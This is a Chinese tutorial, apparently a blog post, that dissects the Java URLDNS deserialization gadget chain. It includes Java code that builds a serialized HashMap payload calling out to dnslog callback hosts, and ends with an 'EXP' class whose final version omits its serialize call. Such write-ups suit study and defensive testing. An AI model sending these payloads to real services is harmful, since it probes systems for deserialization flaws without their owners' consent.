URLDNS链
Java URLDNS链是通过readObject反序列化+DNS查询来确认反序列化利用点的存在。该利用链具有如下特点:
- 只能发起 DNS 请求,不能进行其它利用。
- 不限制 jdk 版本,使用 Java 内置类,对第三方依赖没有要求。
- 目标无回显,可以通过 DNS 请求来验证是否存在反序列化漏洞。
1 2
| 整个攻击链 HashMap.readObject->putVal->hash->URL.hashCode->URLStreamHandler.hashCode
|
利用链分析
HashMap.put()

使用hash()函数处理key
hash()

会使用key自带的hashCode()方法,如果key是URL对象,就会调用URL类的hashCode方法
URL.hashCode()

会判断属性hashCode是否为-1

hashCode默认为-1,即hashCode函数默认会执行**handler.hashCode(this);**方法
handler

是一个URLStreamHandler对象
URLStreamHandler.hashCode()

**getHostAddress(u)**方法会获取主机地址,必定会进行DNS解析。
至此,链条已成
1 2 3
| HashMap<Object, Object> map = new HashMap<>(); URL url = new URL("http://32213c1e.log.dnslog.myfw.us."); map.put(url,null);
|
成功访问dns

反序列化利用链
已知反序列会对象若重写了**readObject()方法,则会优先调用重写的readObject()**方法
HashMap.readObject()

依然会使用**putVal()**并在里面执行hash方法
后面就是前面所写的利用链
1
| HashMap.readObject->putVal->hash->URL.hashCode->URLStreamHandler.hashCode
|
序列化不触发DNS,反序列化触发DNS
在URL类,**hashCode()**方法
1 2 3 4 5 6 7
| public synchronized int hashCode() { if (hashCode != -1) return hashCode;
hashCode = handler.hashCode(this); return hashCode; }
|
若hashCode不等于-1,则不会执行后面的方法,因此只需要使用反射设置hashCode不等于-1即可
1 2 3 4 5 6 7
| HashMap<Object, Object> map = new HashMap<>(); URL url = new URL("http://168cf62e.log.dnslog.myfw.us."); Field hashCode = URL.class.getDeclaredField("hashCode"); hashCode.setAccessible(true); hashCode.set(url,1); map.put(url,null); serialize(map);
|

不会触发DNS
在反序列前设置回-1即可
1 2 3 4 5 6 7 8 9 10
| HashMap<Object, Object> map = new HashMap<>(); URL url = new URL("http://168cf62e.log.dnslog.myfw.us."); Field hashCode = URL.class.getDeclaredField("hashCode"); hashCode.setAccessible(true); hashCode.set(url,1); map.put(url,null); hashCode.set(url,-1);
deserialize();
|

EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class Main { public static void main(String[] args) throws Exception{ HashMap<Object, Object> map = new HashMap<>(); URL url = new URL("http://168cf62e.log.dnslog.myfw.us."); Field hashCode = URL.class.getDeclaredField("hashCode"); hashCode.setAccessible(true); hashCode.set(url,1); map.put(url,null); hashCode.set(url,-1);
deserialize(); } public static void serialize(Object obj) throws Exception { FileOutputStream fos = new FileOutputStream("ser.bin"); ObjectOutputStream oos = new ObjectOutputStream(fos); oos.writeObject(obj); }
public static void deserialize() throws Exception{ FileInputStream fis = new FileInputStream("ser.bin"); ObjectInputStream ois = new ObjectInputStream(fis); System.out.println(ois.readObject()); } }
|